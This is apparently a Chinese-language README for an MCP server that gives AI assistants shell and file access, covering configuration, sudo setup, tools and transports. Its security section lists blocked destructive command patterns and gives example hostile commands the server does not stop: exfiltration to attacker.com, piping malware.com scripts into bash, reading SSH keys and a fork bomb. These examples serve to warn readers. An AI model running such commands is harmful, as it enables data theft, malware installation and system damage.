变量	默认值	说明
TRANSPORT	stdio	传输类型：stdio、sse 或 streamable-http
SANDBOX_MODE	false	为 true 时，会阻止有风险的命令（网络、进程控制等）
COMMAND_TIMEOUT	30000	命令运行的最长时间（毫秒）
ALLOW_SUDO	false	为 true 时，允许以 sudo 开头的命令
SUDO_PASSWORD	—	sudo -S 的密码（绝不记录）
DEBUG	false	启用详细日志
AUDIT_LOG	false	将所有工具调用记录到 logs/audit.log
PORT	3000	SSE / Streamable HTTP 传输的 HTTP 端口
HOST	127.0.0.1	HTTP 传输绑定的主机/IP
MCP_ENDPOINT	/mcp	Streamable HTTP 传输的端点路径

.env 文件示例：

SANDBOX_MODE=false
COMMAND_TIMEOUT=30000
DEBUG=false
TRANSPORT=stdio

启用 Sudo 支持

出于安全考虑，默认禁止使用 Sudo 命令。若要启用特权命令执行：

选项 1：NOPASSWD sudoers（自动化场景推荐）

在 sudoers 文件中配置指定命令，使其无需密码即可执行：

# Edit sudoers safely
sudo visudo

# Add a rule for the user running the MCP server
mcp-user ALL=(ALL) NOPASSWD: /usr/bin/apt-get update, /usr/bin/systemctl restart nginx

然后在配置中启用 sudo：

{
  "mcpServers": {
    "shell": {
      "command": "node",
      "args": ["/path/to/shell-mcp/dist/main.js"],
      "env": {
        "ALLOW_SUDO": "true"
      }
    }
  }
}

选项 2：基于密码的 sudo

如果无法使用 NOPASSWD，请提供 SUDO_PASSWORD。密码通过 sudo -S 管道传递，绝不记录：

{
  "mcpServers": {
    "shell": {
      "command": "node",
      "args": ["/path/to/shell-mcp/dist/main.js"],
      "env": {
        "ALLOW_SUDO": "true",
        "SUDO_PASSWORD": "your-password-here"
      }
    }
  }
}

⚠️ 安全警告： 环境变量可能会在进程列表中显示。用于生产环境时，建议优先使用限定于指定命令的 NOPASSWD sudoers 规则。启用 AUDIT_LOG=true 以跟踪所有 sudo 使用情况。

未设置 ALLOW_SUDO 时的行为

未设置 ALLOW_SUDO（默认情况）时，任何以 sudo 开头的命令都会被拒绝：

❌ "sudo apt-get update" → Error: Sudo commands are not allowed
✅ "apt-get update"      → Runs as the current user (may fail without privileges)

面向开发者

如果你正在开发或扩展此服务：

快速开始

# Install dependencies
npm install

# Build the project
npm run build

# Run unit tests
npm run test:unit

# Run integration tests
npm test

# Start the server (for development)
npm run dev

# or
npm start

如需使用 Claude Desktop 部署，请参阅 CLAUDE_SETUP.md。

开发工作流

# Watch mode for development
npm run watch

# Test with MCP Inspector (interactive UI for testing)
npm run inspector

# Lint code
npm run lint
npm run lint:fix

# Format code
npm run format

测试

# Run unit tests (vitest)
npm run test:unit

# Run unit tests in watch mode
npm run test:unit:watch

# Run integration tests
npm test

# Run client test (alternative test implementation)
npm run test:client

# Run debug test (see raw server output)
npm run test:debug

单元测试位于 test/unit/（vitest），集成测试位于 test/（tsx）。

可用工具

1. exec

执行任意 Shell 命令。

输入：

• command（字符串）：要执行的 Shell 命令

示例：

{
  "name": "exec",
  "arguments": {
    "command": "echo 'Hello World'"
  }
}

2. readFile

读取文件内容。

输入：

• path（字符串）：文件路径

3. writeFile

将内容写入文件。

输入：

• path（字符串）：文件路径
• content（字符串）：要写入的内容

4. deleteFile

删除文件。

输入：

• path（字符串）：文件路径

5. listDir

列出目录内容。

输入：

• path（字符串）：目录路径

6. getSystemInfo

获取系统信息（CPU、内存、磁盘、操作系统）。

输入： 无

7. listProcesses

列出正在运行的进程，可选择进行筛选。

输入：

• filter（字符串，可选）：进程名称的筛选模式

安全注意事项

⚠️ 有关全面的安全信息，请参阅上方的重要免责声明和安全警告部分。

此服务提供强大的 Shell 访问能力，同时也存在固有的安全风险。请查看以下内容：

内置安全功能

1. 沙盒模式：启用 SANDBOX_MODE=true，以获得额外的安全警告和验证
2. 命令验证：内置拦截极其危险的命令模式
3. 超时保护：所有命令均设有超时限制（默认：30 秒）
4. 输出大小限制：命令输出上限为 10MB，以防止内存耗尽
5. 速率限制：默认每分钟最多执行 60 条命令，以防止滥用
6. 路径遍历保护：文件工具会验证路径并阻止访问敏感系统文件（/etc/shadow、/etc/passwd、/proc/、/sys/、/dev/）
7. 输入验证：使用 Zod schema 验证所有工具输入，包括拒绝空字节
8. 审计日志：可选择将所有工具调用以 JSON Lines 格式持久记录
9. Sudo 保护：默认阻止 Sudo 命令，需明确选择启用 ALLOW_SUDO=true
10. 优雅的错误处理：防止因格式错误的命令而崩溃

被拦截的命令模式

系统会自动拦截以下极其危险的命令模式：

• rm -rf / - 递归删除根文件系统。这会销毁系统上的所有文件，使系统无法启动，并导致数据彻底丢失。

• mkfs - 文件系统格式化命令。此命令会在设备上创建新文件系统并擦除所有现有数据。误用可能会摧毁整个分区或磁盘。

• dd if= - 低级磁盘写入操作。dd 命令可以直接写入磁盘设备，可能覆盖重要系统数据、分区表或引导加载程序。

• > /dev/ - 直接操作设备文件。将输出重定向到设备文件（尤其是 /dev/sda、/dev/zero 等）可能损坏存储设备或导致系统不稳定。

⚠️ 未提供保护的内容

这些内置保护措施仅为最低限度，无法防止以下行为：

• 读取敏感文件（cat ~/.ssh/id_rsa）
• 删除特定重要文件（rm -rf ~/Documents）
• 通过网络窃取数据（curl -X POST attacker.com --data @secret.txt）
• 安装恶意软件（curl malware.com/script.sh | bash）
• 耗尽系统资源（:(){ :|:& };: - fork 炸弹）
• 滥用 API（过度调用付费服务）
• 未经授权的购买或金融交易
• 针对 AI 的社会工程攻击
• 提示词注入漏洞

内置保护措施只会拦截少数可能造成灾难性后果的系统级命令。

生产环境使用建议

1. 在隔离环境中运行

   • 使用权限最小化的 Docker 容器
   • 实施网络策略以限制出站连接
   • 尽可能使用只读文件系统挂载

2. 实施访问控制

   • 部署在身份验证/授权层之后
   • 使用基于角色的访问控制（RBAC）
   • 针对特定使用场景实施命令白名单

3. 监控和审计

   • 启用全面的日志记录
   • 为可疑命令设置警报
   • 定期检查执行历史
   • 实施异常检测

4. 纵深防御

   • 结合多层安全措施
   • 秉持假设已遭入侵的理念
   • 实施最小权限原则
   • 定期进行安全评估

5. 用户教育

   • 培训用户掌握安全的提示词编写实践
   • 为 AI 助手的使用制定明确指南
   • 定期更新安全意识培训

安全由你负责

此 MCP 服务是一种向 AI 助手授予 Shell 访问权限的工具。系统的安全性取决于：

• 你的配置方式
• 你授予的权限
• 你对其使用情况的监控
• AI 助手的安全性
• 你对风险的了解

内置安全机制无法抵御所有威胁。请谨慎使用，并采取适当的防护措施。

架构

src/
├── main.ts                     # Entry point, env var parsing, graceful shutdown
├── server.ts                   # MCP server with multi-transport support
├── executors/
│   ├── index.ts                # Barrel export
│   └── shellExecutor.ts        # Shell command execution with sandboxing
├── tools/
│   ├── index.ts                # Barrel export
│   ├── toolRegistry.ts         # Tool registration, routing, audit integration
│   └── handlers/
│       ├── index.ts            # Barrel export
│       ├── execTool.ts         # Shell execution tool
│       ├── fileTools.ts        # File operation tools with path validation
│       ├── systemInfoTool.ts   # System info tool
│       └── processTool.ts      # Process management tool
├── types/
│   └── index.ts                # TypeScript interfaces and type definitions
└── utils/
    ├── index.ts                # Barrel export
    ├── logger.ts               # Logging utility (DEBUG env var)
    ├── validation.ts           # Zod schemas, path traversal protection
    ├── rateLimiter.ts          # Sliding-window rate limiter (60 req/min)
    └── auditLogger.ts          # Persistent audit logging (JSON Lines)

test/
├── integration.test.ts         # Main integration tests
├── client.test.ts              # Alternative client test
├── debug.test.ts               # Debug/diagnostic test
├── README.md                   # Test documentation
└── unit/                       # Unit tests (vitest)
    ├── auditLogger.test.ts
    ├── execTool.test.ts
    ├── fileTools.test.ts
    ├── logger.test.ts
    ├── processTool.test.ts
    ├── rateLimiter.test.ts
    ├── server.test.ts
    ├── shellExecutor.test.ts
    ├── systemInfoTool.test.ts
    ├── toolRegistry.test.ts
    └── validation.test.ts

传输方式

此服务支持三种 MCP 传输类型：

stdio（默认）

通过 stdin/stdout 通信。最适合 Claude Desktop 等本地集成。

# Default — no extra configuration needed
node dist/main.js

SSE（已弃用）

启动一个通过服务器发送事件进行流式传输的 HTTP 服务。

• GET /sse — 建立 SSE 流
• POST /messages?sessionId=X — 接收 JSON-RPC 消息

TRANSPORT=sse PORT=3000 node dist/main.js

注意： MCP SDK 已弃用 SSE 传输方式。新集成请优先使用 Streamable HTTP。

Streamable HTTP（远程连接推荐）

使用 MCP Streamable HTTP 规范启动 HTTP 服务。

• POST /mcp — 处理 JSON-RPC 请求（可选 SSE 流式传输）
• GET /mcp — 建立独立的 SSE 流，用于服务器发起的消息
• DELETE /mcp — 关闭会话

TRANSPORT=streamable-http PORT=3000 MCP_ENDPOINT=/mcp node dist/main.js

MCP 协议

此服务实现了 Model Context Protocol（MCP）标准：

• 支持通过 tools/list 发现可用工具
• 支持通过 tools/call 执行工具
• 多传输方式：stdio、SSE 和 Streamable HTTP
• 为 HTTP 传输提供 DNS 重绑定防护
• 为并发客户端提供会话管理

许可证

MIT

更新日志

完整版本历史请参阅 CHANGELOG.md。

最新版本：v1.1.0

• 支持多种传输方式（stdio、SSE、Streamable HTTP）
• 速率限制、审计日志、路径遍历防护
• 支持带密码处理的 sudo 命令
• 使用 Zod 模式进行输入验证
• 完备的单元测试套件（vitest）
• 面向 AI Agent 的丰富工具说明

贡献

欢迎贡献！完整指南请参阅 CONTRIBUTING.md。

要点：

• 代码遵循 TypeScript 最佳实践
• 所有更改均经过正确的类型标注
• 考虑安全影响
• 保持跨平台兼容性

文档

🌐 在线文档

查看完整文档网站 →

全面易用的文档网站，包含：

• 交互式示例和用例
• 分步设置指南
• 完整的工具参考
• 安全最佳实践
• 对话示例

📄 文档文件

• README.md - 本文件，项目概述和用法
• CLAUDE_SETUP.md - Claude Desktop 配置指南
• SECURITY.md - 安全最佳实践和指南
• CONTRIBUTING.md - 贡献指南
• CHANGELOG.md - 版本历史和更改
• docs/ - GitHub Pages 文档网站源文件

项目状态

✅ 已可用于生产环境 - v1.1.0

此项目已通过全面测试，并包含：

• 完备的错误处理和日志记录
• 支持多种传输方式（stdio、SSE、Streamable HTTP）
• 安全功能：沙箱、速率限制、路径验证、审计日志
• 使用 Zod 模式进行输入验证
• 跨平台兼容性
• 丰富的文档
• 优雅的关闭处理
• 符合 TypeScript 严格模式
• 使用 vitest 编写的 119+ 项单元测试

支持

如有问题、疑问或希望贡献：

• 在 GitHub 上提交问题
• 指南请参阅 CONTRIBUTING.md
• 安全相关问题请查阅 SECURITY.md

---

使用 Model Context Protocol（MCP）倾心打造 ❤️